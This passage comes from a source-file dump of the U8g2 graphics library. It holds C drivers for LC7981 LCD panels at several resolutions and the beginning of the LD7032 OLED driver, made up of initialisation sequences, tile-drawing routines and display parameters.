      \t/* disable chip */\n//   U8X8_END()             \t\t\t/* end of sequence */\n// };\n\n// static const uint8_t u8x8_d_lc7981_powersave1_seq[] = {\n//   U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n//   U8X8_END_TRANSFER(),             \t/* disable chip */\n//   U8X8_END()             \t\t\t/* end of sequence */\n// };\n\n/* no hardware flip for the LC7981 */\n// static const uint8_t u8x8_d_lc7981_flip0_seq[] = {\n//   U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n//   U8X8_END_TRANSFER(),             \t/* disable chip */\n//   U8X8_END()             \t\t\t/* end of sequence */\n// };\n\n// static const uint8_t u8x8_d_lc7981_flip1_seq[] = {\n//   U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n//   U8X8_END_TRANSFER(),             \t/* disable chip */\n//   U8X8_END()             \t\t\t/* end of sequence */\n// };\n\n\n/* http://graphics.stanford.edu/~seander/bithacks.html */\nstatic uint8_t reverse_byte(uint8_t v)\n{\n  // if ( v != 0 && v != 255 )  does not help much\n  {\n    // swap odd and even bits\n    v = ((v >> 1) & 0x055) | ((v & 0x055) << 1);\n    // swap consecutive pairs\n    v = ((v >> 2) & 0x033) | ((v & 0x033) << 2);\n    // swap nibbles ... \n    v = ((v >> 4) & 0x00F) | ((v & 0x00F) << 4);\n  }\n  return v;\n}\n\nstatic uint8_t u8x8_d_lc7981_common(u8x8_t *u8x8, uint8_t msg, U8X8_UNUSED uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t c, i, j;\n  uint16_t y;\n  uint8_t *ptr;\n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      y = (((u8x8_tile_t *)arg_ptr)->y_pos);\n      y*=8;\n      y*= u8x8->display_info->tile_width;\n      /* x = ((u8x8_tile_t *)arg_ptr)->x_pos; x is ignored... no u8x8 support */\n      u8x8_cad_StartTransfer(u8x8);\n      /* \n\tTile structure is reused here for the t6963, however u8x8 is not supported \n\ttile_ptr points to data which has cnt*8 bytes (same as SSD1306 tiles)\n\tBuffer is expected to have 8 lines of code fitting to the t6963 internal memory\n\t\"cnt\" includes the number of horizontal bytes. width is equal to cnt*8\n\t\n\tx is assumed to be zero\n    \n\tTODO: Consider arg_int, however arg_int is not used by u8g2\n      */\n      c = ((u8x8_tile_t *)arg_ptr)->cnt;\t/* number of tiles */\n      ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\t/* data ptr to the tiles */\n      for( i = 0; i < 8; i++ )\n      {\n\tu8x8_cad_SendCmd(u8x8, 0x0a );\t/* display ram (cursor) address low byte */\n\tu8x8_cad_SendArg(u8x8, y&255);\n\tu8x8_cad_SendCmd(u8x8, 0x0b );\t/* display ram (cursor) address high byte */\n\tu8x8_cad_SendArg(u8x8, y>>8);\n\t\n\tu8x8_cad_SendCmd(u8x8, 0x0c );\t/* write start */\n\t/*\n\t  The LC7981 has the MSB at the right position, which is exactly the opposite to the T6963.\n\t  Instead of writing a third hvline procedure for this device, we just revert the bytes before \n\t  transmit. This is slow because:\n\t    - the bit reverse itself\n\t    - the single byte transfer \n\t   The one byte is transmitted via SendArg, which is ok, because CAD = 100\n\t*/\n\tfor( j = 0; j < c; j++ )\n\t  u8x8_cad_SendArg(u8x8, reverse_byte(*ptr++));\n\t\n\t//u8x8_cad_SendData(u8x8, c, ptr);\t/* note: SendData can not handle more than 255 bytes, send one line of data */\n\t//ptr += u8x8->display_info->tile_width;\n\t\n\ty += u8x8->display_info->tile_width;\n      }\n\n      u8x8_cad_EndTransfer(u8x8);\n      break;\n    /*\thandled in the calling procedure \n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_lc7981_128x64_display_info);\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_uc1701_dogs102_init_seq);\n      break;\n    */\n    /* power save is not there... \n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_lc7981_powersave0_seq);\n      else\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_lc7981_powersave1_seq);\n      break;\n    */\n    /* hardware flip not is not available\n    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n      if ( arg_int == 0 )\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_lc7981_flip0_seq);\n\tu8x8->x_offset = u8x8->display_info->default_x_offset;\n      }\n      else\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_lc7981_flip1_seq);\n\tu8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\t\n      break;\n    */\n#ifdef U8X8_WITH_SET_CONTRAST\n    /* no contrast setting :-(\n    case U8X8_MSG_DISPLAY_SET_CONTRAST:\n      u8x8_cad_StartTransfer(u8x8);\n      u8x8_cad_SendCmd(u8x8, 0x081 );\n      u8x8_cad_SendArg(u8x8, arg_int  );\n      u8x8_cad_EndTransfer(u8x8);\n      break;\n  */\n#endif\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n/*================================================*/\n/* LC7981 160x80 LCD*/\n\nstatic const u8x8_display_info_t u8x8_lc7981_160x80_display_info =\n{\n  /* chip_enable_level = */ 0,\t/* LC7981 has a low active CS*/\n  /* chip_disable_level = */ 1,\n  \n  /* from here... */\n  /* post_chip_enable_wait_ns = */ 20,\t\n  /* pre_chip_disable_wait_ns = */ 20,\t\n  /* reset_pulse_width_ms = */ 1, \t\n  /* post_reset_wait_ms = */ 10, \t\n  /* sda_setup_time_ns = */ 30,\t\t\n  /* sck_pulse_width_ns = */ 65,\t/* half of cycle time  */\n  /* sck_clock_hz = */ 4000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* ... to here, values are ignored, because this is a parallel interface only */\n  \n  /* data_setup_time_ns = */ 220,\t\n  /* write_pulse_width_ns = */ 20,\t\n  /* tile_width = */ 20,\t\t/* width of 20*8=160 pixel */\n  /* tile_height = */ 10,\n  /* default_x_offset = */ 0,\t\n  /* flipmode_x_offset = */ 0,\t\n  /* pixel_width = */ 160,\n  /* pixel_height = */ 80\n};\n\nstatic const uint8_t u8x8_d_lc7981_160x80_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  \n  U8X8_DLY(50),\n\n  U8X8_CA(0x00, 0x32),\t\t\t/* display on (bit 5), master mode on (bit 4), graphics mode on (bit 1) */\n  U8X8_CA(0x01, 0x07),\t\t\t/* character/bits per pixel pitch */\n  U8X8_CA(0x02, 160/8-1),\t\t/* number of chars/byte width of the screen */\n  U8X8_CA(0x03, 0x50),\t\t\t/* time division:  50 (1/80 duty cycle) */\n  U8X8_CA(0x08, 0x00),\t\t\t/* display start low */\n  U8X8_CA(0x09, 0x00),\t\t\t/* display start high */\n\n  U8X8_DLY(10),\n  \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nuint8_t u8x8_d_lc7981_160x80(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  /* call common procedure first and handle messages there */\n  if ( u8x8_d_lc7981_common(u8x8, msg, arg_int, arg_ptr) == 0 )\n  {\n    /* msg not handled, then try here */\n    switch(msg)\n    {\n      case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n\tu8x8_d_helper_display_setup_memory(u8x8, &u8x8_lc7981_160x80_display_info);\n\tbreak;\n      case U8X8_MSG_DISPLAY_INIT:\n\tu8x8_d_helper_display_init(u8x8);\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_lc7981_160x80_init_seq);\n\tbreak;\n      default:\n\treturn 0;\t\t/* msg unknown */\n    }\n  }\n  return 1;\n}\n\n\n/*================================================*/\n/* LC7981 160x160 LCD*/\n\nstatic const u8x8_display_info_t u8x8_lc7981_160x160_display_info =\n{\n  /* chip_enable_level = */ 0,\t/* LC7981 has a low active CS*/\n  /* chip_disable_level = */ 1,\n  \n  /* from here... */\n  /* post_chip_enable_wait_ns = */ 20,\t\n  /* pre_chip_disable_wait_ns = */ 20,\t\n  /* reset_pulse_width_ms = */ 1, \t\n  /* post_reset_wait_ms = */ 10, \t\n  /* sda_setup_time_ns = */ 30,\t\t\n  /* sck_pulse_width_ns = */ 65,\t/* half of cycle time  */\n  /* sck_clock_hz = */ 4000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* ... to here, values are ignored, because this is a parallel interface only */\n  \n  /* data_setup_time_ns = */ 220,\t\n  /* write_pulse_width_ns = */ 20,\t\n  /* tile_width = */ 20,\t\t/* width of 20*8=160 pixel */\n  /* tile_height = */ 20,\n  /* default_x_offset = */ 0,\t\n  /* flipmode_x_offset = */ 0,\t\n  /* pixel_width = */ 160,\n  /* pixel_height = */ 160\n};\n\nstatic const uint8_t u8x8_d_lc7981_160x160_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  \n  U8X8_DLY(50),\n\n  U8X8_CA(0x00, 0x32),\t\t\t/* display on (bit 5), master mode on (bit 4), graphics mode on (bit 1) */\n  U8X8_CA(0x01, 0x07),\t\t\t/* character/bits per pixel pitch */\n  U8X8_CA(0x02, 160/8-1),\t\t/* number of chars/byte width of the screen */\n  U8X8_CA(0x03, 159),\t\t\t/* time division */\n  U8X8_CA(0x08, 0x00),\t\t\t/* display start low */\n  U8X8_CA(0x09, 0x00),\t\t\t/* display start high */\n\n  U8X8_DLY(10),\n  \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nuint8_t u8x8_d_lc7981_160x160(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  /* call common procedure first and handle messages there */\n  if ( u8x8_d_lc7981_common(u8x8, msg, arg_int, arg_ptr) == 0 )\n  {\n    /* msg not handled, then try here */\n    switch(msg)\n    {\n      case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n\tu8x8_d_helper_display_setup_memory(u8x8, &u8x8_lc7981_160x160_display_info);\n\tbreak;\n      case U8X8_MSG_DISPLAY_INIT:\n\tu8x8_d_helper_display_init(u8x8);\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_lc7981_160x160_init_seq);\n\tbreak;\n      default:\n\treturn 0;\t\t/* msg unknown */\n    }\n  }\n  return 1;\n}\n\n\n/*================================================*/\n/* LC7981 240x128 LCD*/\n\nstatic const u8x8_display_info_t u8x8_lc7981_240x128_display_info =\n{\n  /* chip_enable_level = */ 0,\t/* LC7981 has a low active CS*/\n  /* chip_disable_level = */ 1,\n  \n  /* from here... */\n  /* post_chip_enable_wait_ns = */ 20,\t\n  /* pre_chip_disable_wait_ns = */ 20,\t\n  /* reset_pulse_width_ms = */ 1, \t\n  /* post_reset_wait_ms = */ 10, \t\n  /* sda_setup_time_ns = */ 30,\t\t\n  /* sck_pulse_width_ns = */ 65,\t/* half of cycle time  */\n  /* sck_clock_hz = */ 4000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* ... to here, values are ignored, because this is a parallel interface only */\n  \n  /* data_setup_time_ns = */ 220,\t\n  /* write_pulse_width_ns = */ 20,\t\n  /* tile_width = */ 30,\t\t/* width of 30*8=240 pixel */\n  /* tile_height = */ 16,\n  /* default_x_offset = */ 0,\t\n  /* flipmode_x_offset = */ 0,\t\n  /* pixel_width = */ 240,\n  /* pixel_height = */ 128\n};\n\nstatic const uint8_t u8x8_d_lc7981_240x128_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  \n  U8X8_DLY(50),\n\n  U8X8_CA(0x00, 0x32),\t\t\t/* display on (bit 5), master mode on (bit 4), graphics mode on (bit 1) */\n  U8X8_CA(0x01, 0x07),\t\t\t/* character/bits per pixel pitch */\n  U8X8_CA(0x02, 240/8-1),\t\t/* number of chars/byte width of the screen */\n  U8X8_CA(0x03, 128),\t\t\t/* time division, issue https://github.com/olikraus/u8g2/issues/1581 */\n  U8X8_CA(0x08, 0x00),\t\t\t/* display start low */\n  U8X8_CA(0x09, 0x00),\t\t\t/* display start high */\n\n  U8X8_DLY(10),\n  \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nuint8_t u8x8_d_lc7981_240x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  /* call common procedure first and handle messages there */\n  if ( u8x8_d_lc7981_common(u8x8, msg, arg_int, arg_ptr) == 0 )\n  {\n    /* msg not handled, then try here */\n    switch(msg)\n    {\n      case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n\tu8x8_d_helper_display_setup_memory(u8x8, &u8x8_lc7981_240x128_display_info);\n\tbreak;\n      case U8X8_MSG_DISPLAY_INIT:\n\tu8x8_d_helper_display_init(u8x8);\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_lc7981_240x128_init_seq);\n\tbreak;\n      default:\n\treturn 0;\t\t/* msg unknown */\n    }\n  }\n  return 1;\n}\n\n\n/*================================================*/\n/* LC7981 240x64 LCD*/\n/* https://github.com/olikraus/u8g2/issues/642 */\n\nstatic const u8x8_display_info_t u8x8_lc7981_240x64_display_info =\n{\n  /* chip_enable_level = */ 0,\t/* LC7981 has a low active CS*/\n  /* chip_disable_level = */ 1,\n  \n  /* from here... */\n  /* post_chip_enable_wait_ns = */ 20,\t\n  /* pre_chip_disable_wait_ns = */ 20,\t\n  /* reset_pulse_width_ms = */ 1, \t\n  /* post_reset_wait_ms = */ 10, \t\n  /* sda_setup_time_ns = */ 30,\t\t\n  /* sck_pulse_width_ns = */ 65,\t/* half of cycle time  */\n  /* sck_clock_hz = */ 4000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* ... to here, values are ignored, because this is a parallel interface only */\n  \n  /* data_setup_time_ns = */ 220,\t\n  /* write_pulse_width_ns = */ 20,\t\n  /* tile_width = */ 30,\t\t/* width of 30*8=240 pixel */\n  /* tile_height = */ 8,\n  /* default_x_offset = */ 0,\t\n  /* flipmode_x_offset = */ 0,\t\n  /* pixel_width = */ 240,\n  /* pixel_height = */ 64\n};\n\nstatic const uint8_t u8x8_d_lc7981_240x64_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  \n  U8X8_DLY(50),\n\n  U8X8_CA(0x00, 0x32),\t\t\t/* display on (bit 5), master mode on (bit 4), graphics mode on (bit 1) */\n  U8X8_CA(0x01, 0x07),\t\t\t/* character/bits per pixel pitch */\n  U8X8_CA(0x02, 240/8-1),\t\t/* number of chars/byte width of the screen */\n  U8X8_CA(0x03, 0x7f),\t\t\t/* time division */\n  U8X8_CA(0x08, 0x00),\t\t\t/* display start low */\n  U8X8_CA(0x09, 0x00),\t\t\t/* display start high */\n\n  U8X8_DLY(10),\n  \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nuint8_t u8x8_d_lc7981_240x64(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  /* call common procedure first and handle messages there */\n  if ( u8x8_d_lc7981_common(u8x8, msg, arg_int, arg_ptr) == 0 )\n  {\n    /* msg not handled, then try here */\n    switch(msg)\n    {\n      case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n\tu8x8_d_helper_display_setup_memory(u8x8, &u8x8_lc7981_240x64_display_info);\n\tbreak;\n      case U8X8_MSG_DISPLAY_INIT:\n\tu8x8_d_helper_display_init(u8x8);\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_lc7981_240x64_init_seq);\n\tbreak;\n      default:\n\treturn 0;\t\t/* msg unknown */\n    }\n  }\n  return 1;\n}\n\n\n/*================================================*/\n/* LC7981 128x128 LCD, https://github.com/olikraus/u8g2/issues/1913*/\n\nstatic const u8x8_display_info_t u8x8_lc7981_128x128_display_info =\n{\n  /* chip_enable_level = */ 0,\t/* LC7981 has a low active CS*/\n  /* chip_disable_level = */ 1,\n  \n  /* from here... */\n  /* post_chip_enable_wait_ns = */ 20,\t\n  /* pre_chip_disable_wait_ns = */ 20,\t\n  /* reset_pulse_width_ms = */ 1, \t\n  /* post_reset_wait_ms = */ 10, \t\n  /* sda_setup_time_ns = */ 30,\t\t\n  /* sck_pulse_width_ns = */ 65,\t/* half of cycle time  */\n  /* sck_clock_hz = */ 4000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* ... to here, values are ignored, because this is a parallel interface only */\n  \n  /* data_setup_time_ns = */ 220,\t\n  /* write_pulse_width_ns = */ 20,\t\n  /* tile_width = */ 16,\t\t/* width of 16*8=128 pixel */\n  /* tile_height = */ 16,\n  /* default_x_offset = */ 0,\t\n  /* flipmode_x_offset = */ 0,\t\n  /* pixel_width = */ 128,\n  /* pixel_height = */ 128\n};\n\nstatic const uint8_t u8x8_d_lc7981_128x128_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  \n  U8X8_DLY(50),\n\n  U8X8_CA(0x00, 0x32),\t\t\t/* display on (bit 5), master mode on (bit 4), graphics mode on (bit 1) */\n  U8X8_CA(0x01, 0x07),\t\t\t/* character/bits per pixel pitch */\n  U8X8_CA(0x02, 128/8-1),\t\t/* number of chars/byte width of the screen */\n  U8X8_CA(0x03, 128),\t\t\t/* time division, issue https://github.com/olikraus/u8g2/issues/1581 */\n  U8X8_CA(0x08, 0x00),\t\t\t/* display start low */\n  U8X8_CA(0x09, 0x00),\t\t\t/* display start high */\n\n  U8X8_DLY(10),\n  \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nuint8_t u8x8_d_lc7981_128x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  /* call common procedure first and handle messages there */\n  if ( u8x8_d_lc7981_common(u8x8, msg, arg_int, arg_ptr) == 0 )\n  {\n    /* msg not handled, then try here */\n    switch(msg)\n    {\n      case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n\tu8x8_d_helper_display_setup_memory(u8x8, &u8x8_lc7981_128x128_display_info);\n\tbreak;\n      case U8X8_MSG_DISPLAY_INIT:\n\tu8x8_d_helper_display_init(u8x8);\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_lc7981_128x128_init_seq);\n\tbreak;\n      default:\n\treturn 0;\t\t/* msg unknown */\n    }\n  }\n  return 1;\n}\n\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_d_ld7032_60x32.c",
    "content": "/*\n\n  u8x8_d_ld7032_60x32.c\n  Note: Flip Mode is NOT supported\n  \n  Also contains 128x36 OLED variant\n\n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2023, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n  \n*/\n\n\n#include \"u8x8.h\"\n\n\n/* testboard U8GLIB_LD7032_60x32 u8g(11, 12, 9, 10, 8);\t// SPI Com: SCK = 11, MOSI = 12, CS = 9, A0 = 10, RST = 8  (SW SPI Nano Board) */\n/* http://www.seeedstudio.com/document/pdf/0.5OLED%20SPEC.pdf */\n#ifdef OBSOLETE\nstatic const uint8_t u8x8_d_ld7032_60x32_init_seq_old[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n\n  //U8X8_CA(0x002, 0x001),\t\t/* Dot Matrix Display ON */\n  U8X8_CA(0x014, 0x000),\t\t/* Stand-by OFF */\n  U8X8_CA(0x01a, 0x004),\t\t/* Dot Matrix Frame Rate,  special value for this OLED from manual*/\n  U8X8_CA(0x01d, 0x000),\t\t/* Graphics Memory Writing Direction: reset default (right down, horizontal) */\n  U8X8_CA(0x009, 0x000),\t\t/* Display Direction:  reset default (x,y: min --> max) */\n  U8X8_CAA(0x030, 0x000, 0x03b),\t/* Display Size X, Column Start - End*/\n  U8X8_CAA(0x032, 0x000, 0x01f),\t/* Display Size Y, Row Start - End*/\n  U8X8_CA(0x010, 0x000),\t\t/* Peak Pulse Width Set: 0 SCLK */\n  U8X8_CA(0x016, 0x000),\t\t/* Peak Pulse Delay Set: 0 SCLK */\n  U8X8_CA(0x012, 0x040),\t\t/* Dot Matrix Current Level Set: 0x050 * 1 uA = 80 uA */\n  U8X8_CA(0x018, 0x003),\t\t/* Pre-Charge Pulse Width: 3 SCLK */\n  U8X8_CA(0x044, 0x002),\t\t/* Pre-Charge Mode: Every Time */\n  U8X8_CA(0x048, 0x003),\t\t/* Row overlap timing: Pre-Charge + Peak Delay + Peak boot Timing */\n  U8X8_CA(0x03f, 0x011),\t\t/* VCC_R_SEL: ??? */\n  U8X8_CA(0x03d, 0x000),\t\t/* VSS selection: 2.8V */\n  //U8X8_CA(0x002, 0x001),\t\t/* Dot Matrix Display ON */\n  \n    \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n#endif\n\n/* new sequence https://github.com/olikraus/u8g2/issues/865 */\nstatic const uint8_t u8x8_d_ld7032_60x32_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n\n  U8X8_CA(0x02, 0x00),\t\t  \t\t/* Dot Matrix Display OFF */\n  U8X8_CA(0x14, 0x00),\t\t  \t\t/* Stand-by OFF, OSCA Start */\n  U8X8_CA(0x1a, 0x04),\t\t  \t\t/* Dot Matrix Frame Rate,  special value for this OLED from manual 4 => 120Hz*/\n  U8X8_CA(0x1d, 0x00),\t\t  \t\t/* Graphics Memory Writing Direction: reset default (right down, horizontal) */\n  U8X8_CA(0x09, 0x00),\t      \t\t/* Display Direction:  reset default (x,y: min --> max) */\n  U8X8_CAA(0x30, 0x00, 0x3B),  \t\t/* Display Size X, Column Start - End 0-0x3b(59)*/\n  U8X8_CAA(0x32, 0x00, 0x1F),  \t\t/* Display Size Y, Row Start - End 0-0x1f(31)*/\n  U8X8_CA(0x34, 0x00),\t\t\t\t/* Data Reading/Writing Box X start */\n  U8X8_CA(0x35, 0x07),\t\t\t\t/* Data Reading/Writing Box X end */\n  U8X8_CA(0x36, 0x00),\t\t\t\t/* Data Reading/Writing Box Y start */\n  U8X8_CA(0x37, 0x1F),\t\t\t\t/* Data Reading/Writing Box Y end */\n  U8X8_CA(0x38, 0x00),        \t\t/* Display Start Address X */\n  U8X8_CA(0x39, 0x00),        \t\t/* Display Start Address Y */\n  U8X8_CA(0x10, 0x00),\t\t  \t\t/* Peak Pulse Width Set: 0 SCLK */\n  U8X8_CA(0x16, 0x00),\t\t  \t\t/* Peak Pulse Delay Set: 0 SCLK */\n  U8X8_CA(0x12, 0x40),\t\t  \t\t/* 0x32, 0x50 or 0x40 Dot Matrix Current Level Set: 0x050 * 1 uA = 80 uA */\n  U8X8_CA(0x18, 0x03),\t\t  \t\t/* Pre-Charge Pulse Width: 3 SCLK */\n  U8X8_CA(0x44, 0x02),\t\t  \t\t/* Pre-Charge Mode: Every Time */\n  U8X8_CA(0x48, 0x03),\t\t  \t\t/* Row overlap timing: Pre-Charge + Peak Delay + Peak boot Timing */\n  U8X8_CA(0x17, 0x00),          \t/* Row Scan */\n  U8X8_CA(0x13, 0x00),          \t/* Row Scan Sequence Setting */\n  U8X8_CA(0x1C, 0x00),          \t/* Data Reverse */\n  U8X8_CA(0x3f, 0x11),\t\t  \t\t/* VCC_R_SEL: Internal Regulator enabled(D4=1) and VCC_R=VCC_C*0.7(D0=1) */\n  U8X8_CA(0x3d, 0x00),\t\t  \t\t/* VSS selection: 2.8V */\n\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ld7032_60x32_powersave0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_CA(0x002, 0x001),\t\t/* Dot Matrix Display ON */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ld7032_60x32_powersave1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_CA(0x002, 0x000),\t\t/* Dot Matrix Display ON */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ld7032_60x32_flip0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_CA(0x009, 0x000),\t\t/* Display Direction:  reset default (x,y: min --> max) */  \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ld7032_60x32_flip1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  //U8X8_CA(0x009, 0x002),\t\t/* Display Direction:  reset default (x,y: min --> max) */  \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\nstatic uint8_t u8x8_d_ld7032_generic(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t x, c;\n  uint8_t *ptr;\n  switch(msg)\n  {\n    /* handled by the calling function\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ld7032_60x32_display_info);\n      break;\n    */\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ld7032_60x32_init_seq);    \n      break;\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ld7032_60x32_powersave0_seq);\n      else\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ld7032_60x32_powersave1_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n      if ( arg_int == 0 )\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ld7032_60x32_flip0_seq);\n\tu8x8->x_offset = u8x8->display_info->default_x_offset;\n      }\n      else\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ld7032_60x32_flip1_seq);\n\tu8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\n      break;\n#ifdef U8X8_WITH_SET_CONTRAST\n    case U8X8_MSG_DISPLAY_SET_CONTRAST:\n      u8x8_cad_StartTransfer(u8x8);\n      u8x8_cad_SendCmd(u8x8, 0x012 );\n      if ( arg_int > 0x07f )\t\t\t/* default is 0x040, limit to 0x07f to be on the safe side (hopefully) */\n\targ_int= 0x07f;\n      u8x8_cad_SendArg(u8x8, arg_int );\t/* values from 0x00 to 0x0ff are allowed, bit will all values be safe??? */\n      u8x8_cad_EndTransfer(u8x8);\n      break;\n#endif\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      u8x8_cad_StartTransfer(u8x8);\n      x = ((u8x8_tile_t *)arg_ptr)->x_pos;    \n      x += u8x8->x_offset/8;\n      u8x8_cad_SendCmd(u8x8, 0x034 );\n      u8x8_cad_SendArg(u8x8, x );\n      